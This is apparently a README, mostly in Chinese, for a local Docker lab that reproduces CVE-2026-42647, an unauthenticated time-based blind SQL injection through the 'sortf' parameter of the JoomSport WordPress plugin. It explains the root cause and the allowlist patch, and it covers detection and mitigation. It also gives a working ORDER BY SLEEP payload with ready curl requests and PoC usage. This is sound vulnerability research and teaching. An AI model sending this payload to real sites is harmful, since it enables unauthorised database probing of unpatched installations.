sortf)此仓库包含一个本地 Docker 实验室,用于重现和验证 CVE-2026-42647,这是一个影响 WordPress 插件 JoomSport - for Sports: Team & League, Football, Hockey & more 的未经验证 SQL 注入漏洞。
漏洞行为出现在球员列表排序功能中。公开访客可以控制 sortf 查询参数,该参数用于构建 SQL ORDER BY 子句。在受影响版本中,该值被作为文本进行清理并用反引号包裹,但在追加到 SQL 查询之前并未经过严格的允许列表验证。
本实验室比较了两个 JoomSport 版本:
| 服务 | JoomSport 版本 | 用途 | URL |
|---|---|---|---|
vuln | 5.7.6 | 易受攻击的比较目标 | http://localhost:8081 |
patched | 5.7.8 | 已修补的比较目标 | http://localhost:8082 |
公共公告将 5.7.8 之前的版本标识为受影响版本,5.7.8 为修复版本。本实验室使用 5.7.6 作为易受攻击的目标,因为在准备此实验室时,WordPress.org 插件 SVN 标签列表中未提供 5.7.7 的源代码标签。
演示的漏洞链是:```text Unauthenticated visitor → JoomSport season player list route → attacker-controlled sortf parameter → unsafe dynamic ORDER BY construction → SQL expression execution → measurable database delay in vulnerable version → patched version rejects the injected sort field and falls back to a safe allowlisted field
本实验将该漏洞验证为基于时间的盲SQL注入。它不执行数据库导出、凭据提取、数据修改或破坏性SQL操作。
本实验仅用于受控的本地研究、源码级理解及作品集演示。
## Verified Facts
| Claim | Evidence | How to verify in this lab |
| ------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------- |
| JoomSport before 5.7.8 is reported vulnerable to unauthenticated SQL injection. | Public advisories identify JoomSport `< 5.7.8` / `<= 5.7.7` as affected. | Review the References section and compare the vulnerable/patched services. |
| JoomSport 5.7.8 is the fixed version. | Public advisories and source comparison show that 5.7.8 validates the `sortf` value before building the ordering expression. | Inspect `class-jsport-playerlist.php` in both versions. |
| The affected parameter is `sortf`. | The vulnerable player list code reads `classJsportRequest::get('sortf')`. | Run the PoC and observe the injected `sortf` request. |
| The vulnerable code builds a dynamic SQL ordering value from user input. | In the vulnerable version, `sortf` is used to build `$options['ordering']`. | Inspect `sportleague/classes/objects/class-jsport-playerlist.php`. |
| The SQL sink is an `ORDER BY` clause. | The generated `$ordering` value is later appended into an SQL query with `ORDER BY`. | Inspect `sportleague/base/wordpress/classes/class-jsport-getplayers.php`. |
| The patch uses an allowlist-style fix. | The patched version introduces allowed static columns and expected dynamic field patterns before using the sort field. | Compare JoomSport 5.7.6 and 5.7.8 source. |
| The lab demonstrates time-based blind SQL injection. | The vulnerable target delays when an injected `SLEEP()` expression is used; the patched target does not. | Run `python3 poc/poc.py http://localhost:8081 http://localhost:8082`. |
## Assumptions and Unknowns
本实验使用 JoomSport 5.7.6 作为存在漏洞的对比目标,因为公开的修复版本是 5.7.8,而在准备实验时,WordPress.org 插件 SVN 标签列表中并不存在 5.7.7 的源码标签。
本实验并不声称 5.7.6 是唯一存在漏洞的版本。它被用作一个可复现的漏洞基线,用于对比存在漏洞的行为与已修复的 5.7.8 行为。
本实验聚焦于球员列表排序流程中的 `sortf` 参数。
演示的影响为基于时间的盲SQL注入。本实验不演示:
* 直接数据库导出,
* 凭据提取,
* 认证绕过,
* 权限提升,
* 任意数据修改,
* 远程代码执行,
* 持久化,
* 外部回调,
* 或针对非实验系统的攻击。
基于错误或基于布尔的行为可能取决于数据库行为、应用程序配置和响应差异,但本实验不依赖这些技术。主要证据基于时间。
## Root Cause Summary
根本原因是从 `sortf` 请求参数不安全地构建动态 SQL `ORDER BY` 子句。
存在漏洞的代码路径始于:```text
sportleague/classes/objects/class-jsport-playerlist.php
在球员列表加载逻辑内部,JoomSport 读取请求参数:```text sortf
并使用它来构建:```text
$options['ordering']
相关的易受攻击的源模式是:```php
if (classJsportRequest::get('sortf')) {
$typeAD = in_array(classJsportRequest::get('sortd'), array("ASC","DESC")) ? classJsportRequest::get('sortd') : "ASC";
$options['ordering'] = str_replace(" ","",sanitize_text_field("".classJsportRequest::get('sortf')."")).' '.$typeAD;
}
问题主要不在于 `sortd` 参数。`sortd` 的值被限制为:```text
ASC
DESC
问题在于 sortf 参数,因为它控制用于排序的 SQL 标识符/表达式位置。
危险的表达式是:```php
"".classJsportRequest::get('sortf').""
该代码将攻击者控制的输入放入MySQL标识符上下文中,然后将其作为SQL排序片段传递。该代码应用:```php
sanitize_text_field()
sanitize_text_field() 并非用于 SQL 标识符验证。它专为清理文本而设计,而非安全构建 SQL 语法。
这段易受攻击的代码还将用户控制的排序字段包裹在反引号中。然而,当攻击者能够影响标识符内容时,反引号并非安全边界。若攻击者能在值中注入反引号,便可脱离预期的标识符上下文。
生成的排序值随后被传入玩家检索查询,并附加到 SQL ORDER BY 子句中:```text
sportleague/base/wordpress/classes/class-jsport-getplayers.php
接收器模式是:```php
$query .= ' ORDER BY '.($ordering);
这创建了易受攻击的数据流:```text sortf request parameter → classJsportRequest::get('sortf') → $options['ordering'] → $ordering → ORDER BY
安全问题是,应用程序将用户可控的请求参数作为 SQL 标识符/表达式处理,而未先通过严格的允许列表对其进行验证。
## 源码补丁摘要
相关补丁位于:```text
sportleague/classes/objects/class-jsport-playerlist.php
在存在漏洞的版本中,玩家列表代码直接从请求值构建 $options['ordering']:```php
if (classJsportRequest::get('sortf')) {
$typeAD = in_array(classJsportRequest::get('sortd'), array("ASC","DESC")) ? classJsportRequest::get('sortd') : "ASC";
$options['ordering'] = str_replace(" ","",sanitize_text_field("".classJsportRequest::get('sortf')."")).' '.$typeAD;
}
漏洞部分在于,`classJsportRequest::get('sortf')` 被用于 SQL 排序表达式中。
JoomSport 5.7.8 通过引入一个经过验证的排序字段变量,在构建 `$options['ordering']` 之前改变了这一行为。
补丁版本初始化了一个安全的默认值:```php
$sortFieldEsc = 'post_title';
然后它定义了允许的静态排序列:```php $sortCols = array("played", "career_minutes", "post_title");
当 `sortf` 存在时,修补后的代码仅在其与预期的静态值之一匹配时才接受它:```php
if (in_array(classJsportRequest::get('sortf'), $sortCols)) {
$sortFieldEsc = classJsportRequest::get('sortf');
}
该补丁还允许预期的动态事件/统计字段格式:```php if (preg_match('/^eventid_\d+$/', classJsportRequest::get('sortf'))) { $sortFieldEsc = classJsportRequest::get('sortf'); }
if (preg_match('/^ef_\d+$/', classJsportRequest::get('sortf'))) { $sortFieldEsc = classJsportRequest::get('sortf'); }
最后一项与安全相关的更改是,`$options['ordering']` 由 `$sortFieldEsc` 构建,而不是来自原始的 `sortf` 请求值:```diff
- $options['ordering'] = str_replace(" ","",sanitize_text_field("`".classJsportRequest::get('sortf')."`")).' '.$typeAD;
+ $options['ordering'] = str_replace(" ","",sanitize_text_field("`".$sortFieldEsc."`")).' '.$typeAD;
这并不移除动态排序。它改变了信任边界。
补丁之前:```text request sortf value directly controlled the ORDER BY identifier
补丁之后:```text
request sortf value can only influence ORDER BY if it matches an allowed column name or an expected dynamic field pattern
如果攻击者发送了意外的值,例如:```text post_title`DESC,(SLEEP(2))#
修补后的代码不会将该值赋给 `$sortFieldEsc`。相反,排序字段会回退到:```text
post_title
这就是为什么有漏洞的服务会延迟,而修复后的服务保持在基准时间附近。
这个补丁的安全教训是:```text Dynamic SQL identifiers such as ORDER BY columns must be validated with strict allowlists. Text sanitization and backtick wrapping are not sufficient for SQL identifier safety.
## 实验室架构
实验室通过Docker Compose运行两个隔离的WordPress安装。```text
.
├── docker-compose.yml
├── vuln/
│ └── Dockerfile
├── patched/
│ └── Dockerfile
├── scripts/
│ └── init-wordpress.sh
├── poc/
│ └── poc.py
├── README.md
└── .gitignore
两个 WordPress 服务分别运行独立的数据库和独立的插件版本:
默认暴露的服务:```text Vulnerable target: http://localhost:8081 Patched target: http://localhost:8082
设置过程会创建渲染球员列表路由所需的最少JoomSport数据:```text
joomsport_season
joomsport_team
joomsport_player
wp_joomsport_playerlist rows
存在漏洞和已修复的服务使用相同的实验数据形状,以便公平地比较时序行为。
requests 包如果需要,在主机上安装 Python 依赖:
pip install requests
``````bash
python3 -m pip install requests
启动实验室:```bash docker compose down -v --remove-orphans docker compose up -d --build
监控设置容器:```bash
docker compose logs -f setup-vuln setup-patched
预期的设置完成消息:```text [VULN] setup complete [PATCHED] setup complete
检查容器状态:```bash
docker compose ps
预期的暴露服务:```text http://localhost:8081 http://localhost:8082
针对易受攻击的目标运行PoC:```bash
python3 poc/poc.py http://localhost:8081
针对已修补的目标运行 PoC:```bash python3 poc/poc.py http://localhost:8082
在一行命令中同时对两个目标运行 PoC:```bash
python3 poc/poc.py http://localhost:8081 http://localhost:8082
为了获得更稳定的时间统计,增加轮数:```bash python3 poc/poc.py http://localhost:8081 http://localhost:8082 --rounds 5
您也可以调整请求的休眠时间:```bash
python3 poc/poc.py http://localhost:8081 --sleep 3 --rounds 5
PoC 独立检查每个目标。
它不再需要单独的 --vuln-url 或 --patched-url 选项。而是将一个或多个目标 URL 作为位置参数传入:```bash
python3 poc/poc.py <target_url> [target_url...]
示例:```bash
python3 poc/poc.py http://localhost:8081
python3 poc/poc.py http://localhost:8082
python3 poc/poc.py http://localhost:8081 http://localhost:8082
如果没有提供目标URL,脚本会交互式地提示输入一个或多个本地目标URL。
支持的选项:```text --season-id Seeded JoomSport season post ID. Default: 4 --rounds Number of requests per baseline/injected series. Default: 3 --sleep SLEEP() seconds used in the timing payload. Default: 2
PoC 有意限定在本地范围。它接受类似 localhost 的目标,例如:```text
http://localhost:8081
http://localhost:8082
http://127.0.0.1:8081
http://127.0.0.1:8082
默认情况下,该PoC拒绝非本地目标。
对于每个目标,PoC执行两个计时序列:```text [1/2] Baseline timing [2/2] Injected timing
基准请求使用正常的排序字段:```text
sortf=post_title
注入的请求在 sortf 参数中使用了一个仅本地的计时载荷:```text
sortf=post_title`DESC,(SLEEP(2))#
PoC 计算:```text
delta = injected median - baseline median
Then it classifies the target:
| Verdict | Meaning |
|---|---|
VULNERABLE-LIKE | 注入的请求比基线明显更慢。 |
PATCHED-LIKE | 注入的请求保持在基线附近。 |
UNREACHABLE | 无法到达目标。 |
默认决策规则:```text injected median - baseline median >= 60% of requested SLEEP()
对于默认的 `--sleep 2`,阈值为:```text
1.200s median delta
这意味着只有当注入请求明显慢于其自身基线时,目标才会被报告为 VULNERABLE-LIKE。
不可达或不确定的目标不计为已修补。
您可以在不使用 Python PoC 的情况下手动重现验证。
易受攻击的基线请求:```bash
curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n'
'http://localhost:8081/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title&sortd=ASC'
易受攻击的注入请求:```bash
curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n' \
'http://localhost:8081/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title%60DESC%2C%28SLEEP%282%29%29%23&sortd=ASC'
修补后的基线请求:```bash
curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n'
'http://localhost:8082/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title&sortd=ASC'
已修补的注入请求:```bash
curl -s -o /dev/null -w 'status=%{http_code} time=%{time_total} bytes=%{size_download}\n' \
'http://localhost:8082/?post_type=joomsport_season&p=4&action=playerlist&sortf=post_title%60DESC%2C%28SLEEP%282%29%29%23&sortd=ASC'
预期比较:```text JoomSport 5.7.6 vulnerable -> injected request is significantly slower JoomSport 5.7.8 patched -> injected request stays near baseline timing
## 预期输出
### 易受攻击的目标
命令:```bash
python3 poc/poc.py http://localhost:8081
预期的易受攻击信号:```text CVE-2026-42647 JoomSport local timing validation Scope : localhost / Docker lab only Technique : time-based blind SQL injection check in ORDER BY via sortf Logic : baseline timing vs injected timing per target
Targets : 1 Rounds per series : 3 Requested SLEEP() : 2s Decision threshold: 1.200s median delta
Season post ID : 4 Baseline sortf : post_title Injected sortf : post_title`DESC,(SLEEP(2))#
[1/2] Baseline timing run 01: status=200 time=0.092s bytes=75333 run 02: status=200 time=0.044s bytes=75333 run 03: status=200 time=0.046s bytes=75333 summary median=0.046s mean=0.061s min=0.044s max=0.092s stdev=0.027s summary status=200x3 bytes=75333
[2/2] Injected timing run 01: status=200 time=6.050s bytes=75321 run 02: status=200 time=6.058s bytes=75321 run 03: status=200 time=6.095s bytes=75321 summary median=6.058s mean=6.068s min=6.050s max=6.095s stdev=0.024s summary status=200x3 bytes=75321
Baseline median : 0.046s Injected median : 6.058s Delta : 6.011s Ratio : 130.8x Threshold : 1.200s Verdict : VULNERABLE-LIKE
Interpretation : injected timing is significantly slower than baseline. This target behaves consistently with vulnerable sortf SQL injection.
最终漏洞摘要:```text
Final summary
================================================================================================
Target Base med Inj med Delta Ratio Verdict
------------------------------------------------------------------------------------------------
http://localhost:8081/ 0.046s 6.058s 6.011s 130.8x VULNERABLE-LIKE
------------------------------------------------------------------------------------------------
VULNERABLE-LIKE targets: 1
PATCHED-LIKE targets : 0
UNREACHABLE targets : 0
INCONCLUSIVE targets : 0
RESULT: VULNERABLE BEHAVIOR OBSERVED
At least one reachable target showed a reproducible timing delay when the injected sortf value was used.
命令:```bash python3 poc/poc.py http://localhost:8082
预期的修补信号:```text
Target decision
------------------------------------------------------------------------------------------------
Baseline median : around normal baseline timing
Injected median : around normal baseline timing
Delta : below threshold
Ratio : near 1.0x
Threshold : 1.200s
Verdict : PATCHED-LIKE
Interpretation : injected timing stays near baseline. This target behaves consistently with patched/fallback behavior.
命令:```bash python3 poc/poc.py http://localhost:8081 http://localhost:8082
预期结果:```text
VULNERABLE-LIKE targets: 1
PATCHED-LIKE targets : 1
UNREACHABLE targets : 0
INCONCLUSIVE targets : 0
RESULT: VULNERABLE BEHAVIOR OBSERVED
At least one reachable target showed a reproducible timing delay when the injected sortf value was used.
如果目标未运行,PoC 应报告 UNREACHABLE,而不是 PATCHED-LIKE。
示例:```bash python3 poc/poc.py http://localhost:8083
预期决定:```text
Verdict : UNREACHABLE
Interpretation : the target could not be reached. No vulnerability decision was made for this target.
不可达的目标不计为已修补。
PoC 探测 JoomSport 球员列表路由,以寻找带有种子赛季的文章。
目标路由等价于:```text GET /?post_type=joomsport_season&p=<SEASON_ID>&action=playerlist&sortf=<SORT_FIELD>&sortd=ASC
基线请求使用:```text
sortf=post_title
这应该产生正常的玩家列表排序。
注入的请求使用:```text sortf=post_title`DESC,(SLEEP(2))#
漏洞代码将 `sortf` 包裹在反引号中,并附加一个排序方向。注入的值旨在突破预期的标识符上下文,并在 `ORDER BY` 子句中引入一个时间表达式。
概念上,易受攻击的 SQL 片段变得类似于:```sql
ORDER BY `post_title` DESC, (SLEEP(2))
# 注释标记阻止了尾部的反引号和方向干扰注入的表达式。
这不是一个堆叠查询有效负载。它不会注入:```sql ; SELECT SLEEP(2);
相反,它在现有的 `ORDER BY` 上下文中注入了一个 SQL 表达式。
修补后的版本不会执行注入的表达式,因为 `sortf` 值会与允许的排序字段进行核对,当值不符合预期时会回退到 `post_title`。
## 影响
本实验演示了 JoomSport 球员列表 `sortf` 参数中一个未经验证的基于时间盲注的 SQL 注入漏洞。
易受攻击的版本通过 `ORDER BY` 子句执行注入的 SQL 延迟表达式,产生明显的响应延迟。修补后的版本不会产生延迟,因为注入的排序字段会被拒绝并替换为安全的允许列表中的值。
本实验仅证明基于时间的 SQL 执行。它不演示数据提取、数据修改、身份验证绕过、权限提升或远程代码执行。
## 检测与监控
潜在指标包括对 JoomSport 球员列表路由的带有异常 `sortf` 值的直接请求。
可疑请求模式示例:```text
GET /?post_type=joomsport_season&p=<id>&action=playerlist&sortf=<unexpected_value>&sortd=ASC
可疑的 sortf 特性:```text
backticks
parentheses
commas
SQL comments
SLEEP
IF
CASE
BENCHMARK
unexpected function-like strings
示例本地实验室请求:```text
sortf=post_title`DESC,(SLEEP(2))#
预期脆弱信号:```text HTTP 200 response with significant timing delay
预期的修补后信号:```text
HTTP 200 response without significant timing delay
潜在的生产监控建议:
sortf 值。将 JoomSport 升级至 5.7.8 或更高版本。
修复版本将 sortf 参数限制为预期的排序字段和动态字段模式。非预期的值将回退到安全的默认排序字段。
应用层面的缓解指导:
sortf 参数。最重要的控制措施是白名单。仅靠转义并不能完全修复动态 SQL 标识符问题。
检查正在运行的容器:```bash docker compose ps
查看设置日志:```bash
docker compose logs -f setup-vuln setup-patched
检查 WordPress 服务:```bash curl -I http://localhost:8081 curl -I http://localhost:8082
针对易受攻击的服务运行 PoC:```bash
python3 poc/poc.py http://localhost:8081
对已修补的服务运行 PoC:```bash python3 poc/poc.py http://localhost:8082
对两个服务运行PoC:```bash
python3 poc/poc.py http://localhost:8081 http://localhost:8082
运行更多轮次的PoC:```bash python3 poc/poc.py http://localhost:8081 http://localhost:8082 --rounds 5
保存证据:```bash
mkdir -p evidence
python3 poc/poc.py http://localhost:8081 http://localhost:8082 --rounds 5 \
| tee evidence/timing-validation.txt
docker compose ps \
| tee evidence/docker-compose-ps.txt
docker compose logs vuln patched setup-vuln setup-patched \
> evidence/docker-compose-logs.txt
检查WordPress内部插件版本:```bash docker compose exec -T vuln wp plugin list --allow-root --path=/var/www/html docker compose exec -T patched wp plugin list --allow-root --path=/var/www/html
检查易受攻击的源:```bash
docker compose exec -T vuln sh -lc \
"grep -R \"sortf\\|ordering\" -n /var/www/html/wp-content/plugins/joomsport-sports-league-results-management/sportleague/classes/objects/class-jsport-playerlist.php"
检查已修补的源代码:```bash
docker compose exec -T patched sh -lc
"grep -R "sortf\|sortFieldEsc\|sortCols\|ordering" -n /var/www/html/wp-content/plugins/joomsport-sports-league-results-management/sportleague/classes/objects/class-jsport-playerlist.php"
检查SQL接收器:```bash
docker compose exec -T vuln sh -lc \
"grep -R \"ORDER BY\" -n /var/www/html/wp-content/plugins/joomsport-sports-league-results-management/sportleague/base/wordpress/classes/class-jsport-getplayers.php"
停止并移除容器和网络:```bash docker compose down --remove-orphans
移除容器、网络和卷:```bash
docker compose down -v --remove-orphans
删除已创建的证据文件:```bash rm -rf evidence/
## 安全边界
本实验仅用于本地安全研究和受控演示。
请勿对不属于您或未经明确许可的系统运行PoC或有效载荷。
请勿在本实验中使用真实凭证、生产机密或外部目标。
PoC的作用范围有意限制在本地Docker服务,例如:```text
http://localhost:8081
http://localhost:8082
http://127.0.0.1:8081
http://127.0.0.1:8082
该PoC不包括用于数据库转储、凭证窃取、数据修改、持久化、横向移动或外部回调的有效载荷。
目标是在受控环境中演示一个特定的技术条件:```text unauthenticated request
## 参考资料
* Wordfence 安全公告:JoomSport <= 5.7.7 - 通过 `sortf` 参数实现的未授权 SQL 注入
https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/joomsport-sports-league-results-management/joomsport-577-unauthenticated-sql-injection-via-sortf-parameter
* Wordfence 安全公告:JoomSport - 体育赛事管理(团队与联赛、足球、曲棍球等)<= 5.7.7 - 未授权 SQL 注入
https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/joomsport-sports-league-results-management/joomsport-for-sports-team-league-football-hockey-more-577-unauthenticated-sql-injection
* WPScan 插件漏洞数据库:JoomSport
https://wpscan.com/plugin/joomsport-sports-league-results-management/
* WordPress.org 插件:JoomSport - 体育赛事管理(团队与联赛、足球、曲棍球等)
https://wordpress.org/plugins/joomsport-sports-league-results-management/
* WordPress.org 插件 SVN
https://plugins.svn.wordpress.org/joomsport-sports-league-results-management/
* WordPress.org 插件 SVN 标签
https://plugins.svn.wordpress.org/joomsport-sports-league-results-management/tags/
* OWASP Web 安全测试指南:SQL 注入测试
https://owasp.org/www-project-web-security-testing-guide/
* OWASP 备忘单系列:SQL 注入防护
https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html
| Service | Component | Version / Role |
|---|
vuln | WordPress + JoomSport | JoomSport 5.7.6 |
patched | WordPress + JoomSport | JoomSport 5.7.8 |
db-vuln | MariaDB | 易受攻击目标的数据库 |
db-patched | MariaDB | 已修补目标的数据库 |
setup-vuln | WP-CLI 初始化服务 | 安装 WordPress 并初始化易受攻击的目标 |
setup-patched | WP-CLI 初始化服务 | 安装 WordPress 并初始化已修补的目标 |
INCONCLUSIVE | 某些时序数据缺失或不完整。 |